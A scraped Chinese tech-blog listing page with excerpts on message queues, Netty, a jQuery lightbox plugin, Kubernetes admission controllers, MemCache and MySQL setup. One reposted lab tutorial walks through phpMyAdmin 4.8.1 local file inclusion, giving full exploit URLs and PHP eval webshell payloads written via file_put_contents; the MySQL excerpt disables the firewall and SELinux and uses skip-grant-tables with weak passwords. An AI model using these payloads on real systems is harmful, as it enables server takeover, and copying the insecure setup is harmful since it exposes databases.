前端技术
HTML
CSS
Javascript
前端框架和UI库
VUE
ReactJS
AngularJS
JQuery
NodeJS
JSON
Element-UI
Bootstrap
Material UI
服务端和客户端
Java
Python
PHP
Golang
Scala
Kotlin
Groovy
Ruby
Lua
.net
c#
c++
后端WEB和工程框架
SpringBoot
SpringCloud
Struts2
MyBatis
Hibernate
Tornado
Beego
Go-Spring
Go Gin
Go Iris
Dubbo
HessianRPC
Maven
Gradle
数据库
MySQL
Oracle
Mongo
中间件与web容器
Redis
MemCache
Etcd
Cassandra
Kafka
RabbitMQ
RocketMQ
ActiveMQ
Nacos
Consul
Tomcat
Nginx
Netty
大数据技术
Hive
Impala
ClickHouse
DorisDB
Greenplum
PostgreSQL
HBase
Kylin
Hadoop
Apache Pig
ZooKeeper
SeaTunnel
Sqoop
Datax
Flink
Spark
Mahout
数据搜索与日志
ElasticSearch
Apache Lucene
Apache Solr
Kibana
Logstash
数据可视化与OLAP
Apache Atlas
Superset
Saiku
Tesseract
系统与容器
Linux
Shell
Docker
Kubernetes
[HTTP RESTful API在微服务...]的搜索结果
这里是文章列表。热门标签的颜色随机变换,标签颜色没有特殊含义。
点击某个标签可搜索标签相关的文章。
点击某个标签可搜索标签相关的文章。
RocketMQ
...通过消息传递机制进行通信和协调。在RocketMQ中,分布式系统支持消息的高效传输和处理,通过消息队列实现了服务之间的解耦和异步通信,确保了在大规模并发和高可用性场景下的稳定运行。 发布-订阅模式 , RocketMQ的消息传递模型,其中生产者发布消息到特定的主题,而多个消费者订阅该主题并接收消息。这种方式允许消息广播给多个接收者,提高了系统的扩展性和灵活性。RocketMQ通过分区和消费者组的设计,实现了消息的高效分发和消费。 顺序消息 , 在需要消息处理严格按照发送顺序执行的应用场景下,RocketMQ提供的特殊消息类型。这类消息确保消息在消费者端按照发送的顺序被处理,这对于金融交易、数据库操作等对消息顺序有严格要求的场景至关重要。 事务消息 , 一种提供原子性操作的高级消息类型,RocketMQ在处理这类消息时,如果消息处理失败,会回滚整个事务,直到所有相关消息都被成功确认。这对于需要数据一致性保障的场景,如电商支付、银行转账等,非常重要。 消费者组 , RocketMQ中一组订阅相同主题的消费者集合。每个消费者组负责处理特定分区的消息,通过消费者的并发度和负载均衡策略,可以提高系统的吞吐量和处理能力。 消息确认机制 , 当消费者接收到消息后,通过向消息队列发送确认信号,表示已经成功处理。RocketMQ根据确认状态来决定是否重新投递消息,这是确保消息不丢失和系统稳定性的关键环节。 重试策略 , RocketMQ针对消费者可能的故障或网络问题,预先设定的消息投递重试次数和间隔规则。合理的重试策略可以在一定程度上恢复消息的传递,增强系统的容错性。 消费者负载均衡 , 通过消息队列的内部机制,将消息分配给多个消费者,以防止某个消费者过载,保持系统的整体性能和响应速度。RocketMQ通过分区和消费者组的配置,实现了负载均衡。 生产者确认模式 , 消费者接收到消息后,生产者等待消费者的确认,只有在确认后才认为消息已被处理。这在某些场景下可以确保消息的最终一致性。 消息持久化存储 , RocketMQ将消息存储在磁盘上,即使系统重启,也可以从持久化的存储中恢复消息,保证了数据的持久性和可靠性。
2024-06-08 10:36:42
91
寂静森林
RabbitMQ
...开源的消息代理和队列服务器,用于在应用程序之间路由和处理消息。它支持多种消息协议,如AMQP、STOMP等,能够实现高效、可靠的异步消息通信。在本文中,RabbitMQ被用来处理大量消息,确保消息的可靠传输和存储。 磁盘空间不足 , 指计算机硬盘或其他存储设备上的可用存储空间低于预期水平,可能导致系统性能下降、数据丢失或服务中断等问题。在RabbitMQ的应用场景中,磁盘空间不足通常表现为消息队列中的消息无法及时存储,从而影响整个系统的运行效率和稳定性。文中提到,这种情况会导致消息堆积、死信队列增大等现象,因此需要采取相应措施进行预防和处理。 死信队列 , 死信队列是一种特殊的队列,用于存放无法被正常消费者处理的消息。当消息被拒绝(通过basic.reject或basic.nack命令)且requeue参数为false,或者消息过期(TTL到期)时,它们会被发送到死信队列。死信队列有助于捕获和分析那些未能成功处理的消息,以便开发者可以了解问题所在并采取措施解决。在本文中,定期清理死信队列被视为一种有效的磁盘空间管理策略。
2024-12-04 15:45:21
132
红尘漫步
转载文章
...转载内容。原文链接:https://blog.csdn.net/qq_45300786/article/details/108724251。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 为了防止代码重复,我们就有了,文件包含。很多网页如果要用到很多同样的函数,那么我们就可以使用这个文件包含函数,就避免了每个网页又去重复造轮子。 在index.php文件里包含1.txt,而1.txt的内容是phpinfo(),include函数包含1.txt,就会把1.txt的内容当成php文件执行,不管后缀是什么。1.txt也好,1.xml也好,只要里面是php代码,然后有被include函数包含,那么就被当成PHP文件执行。 如果包含的文件不存在,就会出现致命的错误,并报出绝对路径,然是不影响其他功能的执行,比如这里的nf和123的输出。那么就表明include函数,如果出现错误的话,并不会影响其他功能的运行。 如果包含的文件不存在,就会出现致命的错误,并报出绝对路径,影响后面功能的执行,比如这里的nf的输出,后面的功能因为2.txt报错,导致123未执行。那么就表明require函数,如果出现错误的话,会影响后面功能的运行。 只要文件内是php代码,文件包含是不在意文件后缀的。 12345.jpg的传参值是a,那么我们可以写传参值=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’) 然后生成一个新的php文件 访问index.php 以上我们接触的全部是本地文件包含 说了本地文件包含,我们再来看远程文件包含 简单来说远程文件包含,就是可以包含其他主机上的文件,并当成php代码执行。 要实现远程文件包含的话,php配置的allow_url_include = on必须为on(开启) 来我们可以来实验一下,把这个配置打开。 “其他选项菜单”——“打开配置文件”——“php-ini” 打开配置文件,搜索allow_url_include 把Off改为On,注:第一个字母要为大写 之后要重启才能生效。 配置开启后,我们来远程文件包含一下,我们来远程包含一下kali上的1.txt,可以看到没有本地包含,所以直接显示的内容。 那我们现在来远程包含一下kali的这个1.txt,看会不会有phpinfo,注意我这里是index文件哦,所以是默认的。 可以看到,包含成功! 这里可以插一句题外话,如果是window服务器的话,可以让本地文件包含变成远程文件包含。需要开始XX配置,SMB服务。 这里我们可以发现,进入一个不存在的目录,然后再返回上一级,相当于没变目录位置,这个是不影响的,而且这个不存在的目录随便怎么写都可以。 但是php是非常严格的,进入一个不存在的目录,这里目录的名字里不能有?号,否则报错,然后再返回上一级,相当于没变目录位置,这个是不影响的,而且这个不存在的目录随便怎么写都可以。 实战 注意,这里php版本过低,会安装不上 安装好后,我们来解析下源码 1.txt内容phpinfo() 来本地文件包含一下,发现成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/../11.txt 靶场 http://59.63.200.79:8010/lfi/phpmyadmin/ 先创建一个库名:nf 接着创建表:ff,字段数选2个就行了 然后选中我们之前创建好的库名和表名,开始写入数据,第一个就写个一句话木马,第二个随便填充。 然后我们找到存放表的路径。 这里我们要传参2个,那么就加上&这里我们找到之后传参phpinfo http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=phpinfo(); 因为a在ff.frm里 <?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号 文件包含成功 用file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号 写入成功后,我们连接这个8.php的木马。 http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/8.php 在线测试时这样,但是我在本地测试的时候,还是有点不一样的。我就直接上不一样的地方,前面的地方都是一样的 1,创建一个库为yingqian1984, 2,创建一个表为yq1984 3,填充表数据,因为跟上面一样,2个字段一个木马,一个随便数据 4,找数据表的位置,最后我发现我的MySQL存放数据库的地方是在 C:\ProgramData\MySQL\MySQL Server 5.7\Data\yingqian1984 文件包含成功。 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=phpinfo(); 用file_put_contents(‘9.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=file_put_contents(‘9.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号 传参成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/9.php?a=phpinfo(); 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_45300786/article/details/108724251。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-01-06 09:10:40
343
转载
Superset
...flake等云数据库服务,这无疑拓宽了用户在混合云或多云环境下的数据集成能力。同时,Superset也在提升安全性方面有所作为,如通过增强SQL Lab的安全策略来保护敏感数据,并优化元数据库管理机制,使得大规模企业级部署更为稳健可靠。 此外,针对现代数据分析工作中实时性要求的提高,Superset也正在积极整合流处理平台,如Kafka、Flink等,以实现对实时数据流的可视化分析。这意味着,在不久的将来,用户可能可以直接在Superset中配置实时数据源,进一步丰富其在业务监控、风险预警等方面的应用场景。 综上所述,掌握Superset数据源管理的基础操作只是第一步,持续关注该领域的技术动态和发展趋势,将有助于我们更好地利用这一强大工具,挖掘数据背后的深层价值,赋能企业决策与创新。
2023-06-10 10:49:30
75
寂静森林
Netty
...etty客户端在连接服务器时频繁异常断开现象的深度剖析与解决方案 1. 引言 在实际开发过程中,我们经常会遇到Netty作为高性能网络通信框架,在实现客户端与服务器之间的稳定、高效连接时,出现客户端频繁异常断开的问题。这种情况犹如人际交往中的“突然冷场”,令人困扰且急需解决。这篇文会拽着你一起,像侦探破案那样挖掘这个问题背后可能藏着的“元凶”,并且咱们还会通过实实在在的代码实例,把它掰开揉碎了,好好研究探讨一番。 2. 问题描述及常见场景 首先,让我们描绘一下这个现象:在使用Netty构建的客户端应用中,客户端与服务器建立连接后,连接状态并未保持稳定,而是频繁地出现异常断开的情况。这可能导致数据传输中断,影响整个系统的稳定性与可靠性。 3. 可能的原因分析 (1) 网络环境不稳定:就像我们在拨打电话时会受到信号干扰一样,网络环境的质量直接影响到TCP连接的稳定性。例如,Wi-Fi信号波动、网络拥塞等都可能导致连接异常断开。 java EventLoopGroup workerGroup = new NioEventLoopGroup(); Bootstrap b = new Bootstrap(); b.group(workerGroup); b.channel(NioSocketChannel.class); b.option(ChannelOption.SO_KEEPALIVE, true); // 开启TCP保活机制以应对网络波动 (2) 心跳机制未配置或配置不合理:Netty支持心跳机制(如TCP KeepAlive)来检测连接是否存活,若未正确配置,可能导致连接被误判为已断开。 java b.option(ChannelOption.CONNECT_TIMEOUT_MILLIS, 30000); // 设置连接超时时间 b.handler(new ChannelInitializer() { @Override protected void initChannel(SocketChannel ch) throws Exception { ChannelPipeline p = ch.pipeline(); p.addLast(new IdleStateHandler(60, 0, 0)); // 配置读空闲超时时间为60秒,触发心跳检查 // ... 其他处理器添加 } }); (3) 资源未正确释放:在客户端程序执行过程中,如果未能妥善处理关闭逻辑,如Channel关闭不彻底,可能会导致新连接无法正常建立,从而表现为频繁断开。 java channel.closeFuture().addListener((ChannelFutureListener) future -> { if (!future.isSuccess()) { log.error("Failed to close channel: {}", future.cause()); } else { log.info("Channel closed successfully."); } // ... 释放其他相关资源 }); 4. 解决方案与优化建议 针对上述可能的原因,我们可以从以下几个方面着手: - 增强网络监控与报警:当网络状况不佳时,及时调整策略或通知运维人员排查。 - 合理配置心跳机制:确保客户端与服务器之间的心跳包发送间隔、确认等待时间以及超时重连策略符合业务需求。 - 完善资源管理:在客户端程序设计时,务必确保所有网络资源(如Channel、EventLoopGroup等)都能在生命周期结束时得到正确释放,防止因资源泄露导致的连接异常。 - 错误处理与重试策略:对连接异常断开的情况制定相应的错误处理逻辑,并结合重试策略确保在一定条件下可以重新建立连接。 5. 结语 面对Netty客户端连接服务器时的异常断开问题,我们需要像侦探般抽丝剥茧,寻找背后的真实原因,通过细致的代码优化和完善的策略设计,才能确保我们的网络通信系统既稳定又健壮。在开发的这个过程里,每位开发者都该学会“把人放在首位”的思考模式,就像咱们平时处事那样,带着情感和主观感知去理解问题、解决问题。就好比在生活中,我们会积极沟通、不断尝试各种方法去维护一段友情或者亲情一样,让那些冷冰冰的技术也能充满人情味儿,更加有温度。
2023-09-11 19:24:16
220
海阔天空
转载文章
...转载内容。原文链接:https://blog.csdn.net/gong1422425666/article/details/72817469。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 一、prettyPhoto简介 prettyPhoto是一款基于jquery的轻量级的lightbox图片播放浏览插件,它不仅支持图片,还同时支持视频、flash、YouTube、iframe和ajax。而且prettyPhoto配置和使用都十分简单,扩展性也不错,你可以最大限度地自定义prettyPhoto。目前,prettyPhoto兼容大部分主流的浏览器,包括令人纠结的IE6。 prettyPhoto插件的项目地址:http://www.no-margin-for-errors.com/projects/prettyphoto-jquery-lightbox-clone/ 建议英文好的朋友直接去官网上了解这个插件的用法,如果你的英文很烂,那么也别急,下面我就给大家来一一介绍prettyPhoto的使用方法。 二、prettyPhoto使用方法介绍 1、引入jquery核心库和prettyPhoto插件库以及prettyPhoto样式表文件 复制代码代码如下: <script src="js/jquery.js" type="text/javascript" charset="utf-8"></script> <link rel="stylesheet" href="css/prettyPhoto.css" type="text/css" media="screen" charset="utf-8" /> <script src="js/jquery.prettyPhoto.js" type="text/javascript" charset="utf-8"></script> 2、初始化jquery插件,以下是最简单的配置的js代码 复制代码代码如下: $(document).ready(function(){ $("a[rel^='prettyPhoto']").prettyPhoto(); }); 下面是每种类型的html代码 1、单张图片 复制代码代码如下: <a href="images/fullscreen/2.jpg" rel="prettyPhoto" title="This is the description"> <img src="images/thumbnails/t_2.jpg" width="60" height="60" alt="This is the title" /> </a> 2、图片相册 复制代码代码如下: <a href="images/fullscreen/1.jpg" rel="prettyPhoto[pp_gal]" title="You can add caption to pictures."> <img src="images/thumbnails/t_1.jpg" width="60" height="60" alt="Red round shape" /> </a> <a href="images/fullscreen/2.jpg" rel="prettyPhoto[pp_gal]"> <img src="images/thumbnails/t_2.jpg" width="60" height="60" alt="Nice building" /> </a> <a href="images/fullscreen/3.jpg" rel="prettyPhoto[pp_gal]"> <img src="images/thumbnails/t_3.jpg" width="60" height="60" alt="Fire!" /> </a> <a href="images/fullscreen/4.jpg" rel="prettyPhoto[pp_gal]"> <img src="images/thumbnails/t_4.jpg" width="60" height="60" alt="Rock climbing" /> </a> <a href="images/fullscreen/5.jpg" rel="prettyPhoto[pp_gal]"> <img src="images/thumbnails/t_5.jpg" width="60" height="60" alt="Fly kite, fly!" /> </a> 3、单个flash 复制代码代码如下: <a href="http://www.adobe.com/products/flashplayer/include/marquee/design.swf?width=792&height=294" rel="prettyPhoto[flash]" title="Flash 10 demo"> <img src="images/thumbnails/flash-logo.jpg" alt="Flash 10 demo" width="60" /> </a> 4、YouTube视频 复制代码代码如下: <a href="http://www.youtube.com/watch?v=qqXi8WmQ_WM" rel="prettyPhoto" title=""> <img src="images/thumbnails/flash-logo.jpg" alt="YouTube" width="60" /> </a> 5、Vimeo 复制代码代码如下: <a href="http://vimeo.com/8245346" rel="prettyPhoto" title=""> <img src="images/thumbnails/flash-logo.jpg" alt="YouTube" width="60" /> </a> 6、QuickTime影片 复制代码代码如下: <a title="Despicable Me" rel="prettyPhoto[movies]" href="http://trailers.apple.com/movies/universal/despicableme/despicableme-tlr1_r640s.mov?width=640&height=360"> <img src="/wp-content/themes/NMFE/images/thumbnails/quicktime-logo.png" alt="Despicable Me" width="50" /> </a> <a title="Tales from Earthsea" rel="prettyPhoto[movies]" href="http://trailers.apple.com/movies/disney/talesfromearthsea/talesfromearthsea-tlr1_r640s.mov?width=640&height=340"> <img src="/wp-content/themes/NMFE/images/thumbnails/quicktime-logo.png" alt="Tales from Earthsea" width="50" /> </a> <a title="Grease Sing-A-Long" rel="prettyPhoto[movies]" href="http://trailers.apple.com/movies/paramount/greasesingalong/greasesingalong-tlr1_r640s.mov?width=640&height=272"> <img src="/wp-content/themes/NMFE/images/thumbnails/quicktime-logo.png" alt="Grease Sing-A-Long" width="50" /> </a> 7、外部网站(iframe) 复制代码代码如下: <a href="http://www.google.com?iframe=true&width=100%&height=100%" rel="prettyPhoto[iframes]" title="Google.com opened at 100%">Google.com</a> <a href="http://www.apple.com?iframe=true&width=500&height=250" rel="prettyPhoto[iframes]">Apple.com</a> <a href="http://www.twitter.com?iframe=true&width=400&height=200" rel="prettyPhoto[iframes]">Twitter.com</a> 8、普通文本 复制代码代码如下: <a href="inline-1" rel="prettyPhoto" ><img src="/wp-content/themes/NMFE/images/thumbnails/earth-logo.jpg" alt="" width="50" /></a> <div id="inline-1" class="hide"> <p>这里是普通的文本</p> <p>今天给大家介绍的prettyPhoto希望大家能喜欢,这个是播放普通文本的html</p> </div> 9、AJAX内容 复制代码代码如下: <a rel="prettyPhoto[ajax]" href="/demos/prettyPhoto-jquery-lightbox-clone/xhr_response.html? ajax=true&width=325&height=185">Ajax content</a> 三、总结 prettyBox图片播放插件很好用,赶紧用它来打造你的专属相册吧! 本篇文章为转载内容。原文链接:https://blog.csdn.net/gong1422425666/article/details/72817469。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-01-14 22:09:23
279
转载
SeaTunnel
...网络中提供端到端安全通信的协议。在本文语境中,SSL/TLS加密是SeaTunnel工具在数据传输过程中保护数据隐私性和完整性的关键技术手段,通过加密算法对传输的数据进行加密,确保即使数据在传输过程中被截获,攻击者也无法解读其内容。 中间人攻击(MITM,Man-in-the-Middle Attack) , 这是一种网络攻击方式,在这种攻击中,攻击者秘密地插入自己成为两方通信的中介,能够读取、修改甚至伪造双方通信的内容。在讨论SeaTunnel中的SSL/TLS加密重要性时提到,如果没有启用SSL/TLS加密连接,企业的数据就如同“透明”般在网络上传输,容易遭受中间人攻击,导致数据泄露或篡改。 Keystore与Truststore , 在Java安全体系中,Keystore是一个包含私钥和/或证书的文件,用于存储应用程序的身份信息;而Truststore则是一个包含受信任的证书或者证书颁发机构列表的文件,用以验证远程服务器的身份。在配置SeaTunnel的SSL/TLS加密连接时,需要根据实际情况生成并配置这两个文件,其中Keystore通常用于存储客户端或服务器自身的身份凭证,Truststore则用于存储可信赖的第三方证书,以实现双方之间的相互认证和数据加密传输。
2024-01-10 13:11:43
171
彩虹之上
转载文章
...转载内容。原文链接:https://blog.csdn.net/flq18210105507/article/details/120845744。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 18.准入控制器 Admission Controller准入控制器作为把手kubernetes系统安全的最后一道关卡,对已知且有权限用户的操作合规性验证是缺一不可的! 1.什么是准入控制器? 准入控制器(Admission Controller)位于API Server中,在对象被持久化之前,准入控制器拦截对API Server的请求,一般用来做身份验证和授权。 其中包含两个特殊的控制器钩子: MutatingAdmissionWebhook和ValidatingAdmissionWebhook 1.变更(Mutating)准入控制 工作逻辑为修改请求的对象 2.验证(Validating)准入控制 工作逻辑为验证请求的对象 以上两类控制器可以分而治之,也能合作运行 2.为什么我们需要它? 就像我在上一章节提到的那样,准入控制器的引入可以很好的帮助我们运维人员,站在一个集群管理者的角度,去“限定”和规划集群资源的合理利用策略和期望状态。 同时,很多kubernetes的高级功能,也是基于准入控制器之上进行建设的。 3.常用的准入控制器 1.AlwaysPullImages 总是拉取远端镜像; 好处:可以避免本地系统处于非安全状态时,被别人恶意篡改了本地的容器镜像 2.LimitRanger 此准入控制器将确保所有资源请求不会超过namespace级别的LimitRange(定义Pod级别的资源限额,如cpu、mem) 3.ResourceQuota 此准入控制器负责集群的计算资源配额,并确保用户不违反命名空间的ResourceQuota对象中列举的任何约束(定义名称空间级别的配额,如pod数量) 4.PodSecurityPolicy 此准入控制器用于创建和修改pod,并根据请求的安全上下文和可用的Pod安全策略确定是否应该允许它。 4.如何开启准入控制器 在kubernetes环境中,你可以使用kube-apiserver命令结合enable-admission-plugins的flag,后面需要跟上以逗号分割的准入控制器清单,如下所示: kube-apiserver --enable-admission-plugins=NamespaceLifecycle,LimitRanger … 5.如何关闭准入控制器 同理,你可以使用flag:disable-admission-plugins,来关闭不想要的准入控制器,如下所示: kube-apiserver --disable-admission-plugins=PodNodeSelector,AlwaysDeny … 6.实战:控制器的使用 1.LimitRanger 1)首先,编辑limitrange-demo.yaml文件,我们定义了一个cpu的准入控制器。 其中定义了默认值、最小值和最大值等。 apiVersion: v1kind: LimitRangemetadata:name: cpu-limit-rangenamespace: mynsspec:limits:- default: 默认上限cpu: 1000mdefaultRequest:cpu: 1000mmin:cpu: 500mmax:cpu: 2000mmaxLimitRequestRatio: 定义最大值是最小值的几倍,当前为4倍cpu: 4type: Container 2)apply -f之后,我们可以通过get命令来查看LimitRange的配置详情 [root@centos-1 dingqishi] kubectl get LimitRange cpu-limit-range -n mynsNAME CREATED ATcpu-limit-range 2021-10-10T07:38:29Z[root@centos-1 dingqishi] kubectl describe LimitRange cpu-limit-range -n mynsName: cpu-limit-rangeNamespace: mynsType Resource Min Max Default Request Default Limit Max Limit/Request Ratio---- -------- --- --- --------------- ------------- -----------------------Container cpu 500m 2 1 1 4 2.ResourceQuota 1)同理,编辑配置文件resoucequota-demo.yaml,并apply; 其中,我们定义了myns名称空间下的资源配额。 apiVersion: v1kind: ResourceQuotametadata:name: quota-examplenamespace: mynsspec:hard:pods: "5"requests.cpu: "1"requests.memory: 1Gilimits.cpu: "2"limits.memory: 2Gicount/deployments.apps: "2"count/deployments.extensions: "2"persistentvolumeclaims: "2" 2)此时,也可以查看到ResourceQuota的相关配置,是否生效 [root@centos-1 dingqishi] kubectl get ResourceQuota -n mynsNAME CREATED ATquota-example 2021-10-10T08:23:54Z[root@centos-1 dingqishi] kubectl describe ResourceQuota quota-example -n mynsName: quota-exampleNamespace: mynsResource Used Hard-------- ---- ----count/deployments.apps 0 2count/deployments.extensions 0 2limits.cpu 0 2limits.memory 0 2Gipersistentvolumeclaims 0 2pods 0 5requests.cpu 0 1requests.memory 0 1Gi 大家可以将生效后的控制器,结合相关pod自行测试资源配额的申请、限制和使用的情况 本篇文章为转载内容。原文链接:https://blog.csdn.net/flq18210105507/article/details/120845744。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-12-25 10:44:03
336
转载
MemCache
...emCache节点,实现数据的分布式存储和同步更新? 随着互联网业务规模的不断扩大,MemCache作为一种高效的分布式缓存系统,在处理高并发、大数据量场景中发挥着重要作用。不过,在实际动手布阵这套系统的时候,如何在满是分散节点的环境里头,既把多个MemCache节点管理得井井有条,又保证数据能在各个节点间实现靠谱的分布式存储和同步更新,这可真是个挺让人挠头的技术难题啊。本文将围绕这一主题,结合代码实例,深入探讨并给出解决方案。 1. MemCache在分布式环境中的部署策略 首先,我们需要理解MemCache在分布式环境下的工作原理。MemCache这东西吧,本身并不具备跨节点数据一致性的功能,也就是说,每个节点都是个自给自足的小缓存个体,它们之间没有那种自动化同步数据的机制。所以,当我们在实际动手部署的时候,得想办法让这些工作量分散开,就像大家分担家务一样。这里我们可以用个很巧妙的方法,就叫“一致性哈希”,这个算法就像一个超级智能的分配器,能帮我们精准地判断每一份数据应该放在哪个小仓库(节点)里头,这样一来,所有的东西都能各归其位,整整齐齐。 python from pymemcache.client.hash import ConsistentHashRing nodes = [('node1', 11211), ('node2', 11211), ('node3', 11211)] ring = ConsistentHashRing(nodes) 使用一致性哈希决定key对应的节点 node, _ = ring.get_node('your_key') 2. 数据的分布式存储 上述的一致性哈希算法能够保证当新增或减少节点时,对已存在的大部分键值对的映射关系影响较小,从而实现数据的均衡分布。此外,咱们得牢牢记住一个大原则:如果有那么些关系紧密的数据兄弟,最好让它们挤在同一台MemCache服务器上,这样可以有效避免因为跨节点访问而产生的网络开销,懂我意思吧? 3. 同步更新问题及其解决思路 MemCache本身不具备数据同步功能,因此在分布式环境下进行数据更新时,需要通过应用层逻辑来保障一致性。常见的一种做法是“先更新数据库,再清除相关缓存”。 python 假设我们有一个更新用户信息的方法 def update_user_info(user_id, new_info): 先更新数据库 db.update_user(user_id, new_info) 清除MemCache中相关的缓存数据 memcached_client.delete(f'user_{user_id}') 另一种策略是引入消息队列,例如使用Redis Pub/Sub或者RabbitMQ等中间件,当数据库发生变更时,发布一条消息通知所有MemCache节点删除对应的缓存项。 4. MemCache节点的维护与监控 为了保证MemCache集群的稳定运行,我们需要定期对各个节点进行健康检查和性能监控,及时发现并处理可能出现的内存溢出、节点失效等问题。可以通过编写运维脚本定期检查,或者接入诸如Prometheus+Grafana这样的监控工具进行可视化管理。 bash 示例:简单的shell脚本检查MemCache节点状态 for node in $(cat memcache_nodes.txt); do echo "Checking ${node}..." telnet $node 11211 <<< stats | grep -q 'STAT bytes 0' if [ $? -eq 0 ]; then echo "${node} is down or not responding." else echo "${node} is up and running." fi done 总的来说,要在分布式环境中有效管理和维护多个MemCache节点,并实现数据的分布式存储与同步更新,不仅需要合理设计数据分布策略,还需要在应用层面对数据一致性进行把控,同时配合完善的节点监控和运维体系,才能确保整个缓存系统的高效稳定运行。在整个探险历程中,咱们得时刻动脑筋、动手尝试、灵活应变、优化咱的计划,这绝对是一个挑战多多、趣味盎然的过程,让人乐在其中。
2023-11-14 17:08:32
69
凌波微步
转载文章
...转载内容。原文链接:https://blog.csdn.net/qq_53318060/article/details/121664128。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 Linux Mysql 搭建 systemctl stop firewalld 停止防火墙服务systemctl disable firewalld 禁止防火墙服务开机自启动sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/sysconfig/selinux // 将 selinux文件中的SELINUX值修改为disabledwget -O /etc/yum.repos.d/openEulerOS.repo https://repo.huaweicloud.com/repository/conf/openeuler_aarch64.repo 增加openEulerOS.repo yum clean all 清除之前的所有仓库缓存yum makecache 生成软件包信息缓存,以提高搜索安装软件的速度dnf install mysqlmkdir /var/lib/mysql // 在 /var/lib 目录下创建一个mysql 目录cd /var/lib/mysql/ // 切换到这个目录mkdir data tmp run log // 在 mysql目录下 创建 data, tmp,run,log 四个子目录touch /var/lib/mysql/log/mysql.log // 在log 目录下 创建mysql.log空文件chown -R mysql:mysql /var/lib/mysql/ // 将 mysql目录下的所有文件 所有者及群组都设为 mysqlrm -f /etc/my.cnf// 将一些信息导入到 my.cnf 中echo -e "[mysqld_safe]\nlog-error=/var/lib/mysql/log/mysql.log\npid-file=/var/lib/mysql/run/mysqld.pid\n\n[mysqldump]\nquick\n\n[mysql]\nno-auto-rehash\n\n[client]\nport=3306\nmax_allowed_packet=64M\ndefault-character-set=utf8\n\n[mysqld]\nuser=root\nport=3306\nbasedir=/usr/local/mysql\nsocket=/var/lib/mysql/run/mysql.sock\ntmpdir=/var/lib/mysql/tmp\ndatadir=/var/lib/mysql/data\ndefault_authentication_plugin=mysql_native_password\nskip-grant-tables\nkey_buffer_size=16M" > /etc/my.cnfcat /etc/my.cnf // 查看文件内容chown mysql:mysql /etc/my.cnf // 将该文件的所有者及群组 都设为 mysqlll /etc/my.cnfchmod 777 /usr/local/mysql/support-files/mysql.server //对mysql.server的所有者,群组,其他用户设置读,写,执行,权限cp /usr/local/mysql/support-files/mysql.server /etc/init.d/mysqlchkconfig mysql on // 开机自动启动chown -R mysql:mysql /etc/init.d/mysqlvi /etc/profile // 把 export PATH=$PATH:/usr/local/mysql/bin 放到文件尾端,设置环境变量source /etc/profile // 重新执行刚修改的文件,使之立即生效env // 显示系统的环境变量mysqld --defaults-file=/etc/my.cnf --initializechown -R mysql:mysql /var/lib/mysql/datall /var/lib/mysql/dataservice mysql startservice mysql status // 查看服务状态ps -ef | grep mysqlnetstat -anptnetstat -anpt | grep mysqlnetstat -anpt | grep 3306 显示有关mysql的进程mysql -u root -p -S /var/lib/mysql/run/mysql.sock // 输入密码进入到了mysqlalter user 'root'@'localhost' identified by "123456";flush privileges;create user 'user'@'%' identified by '123456';grant all 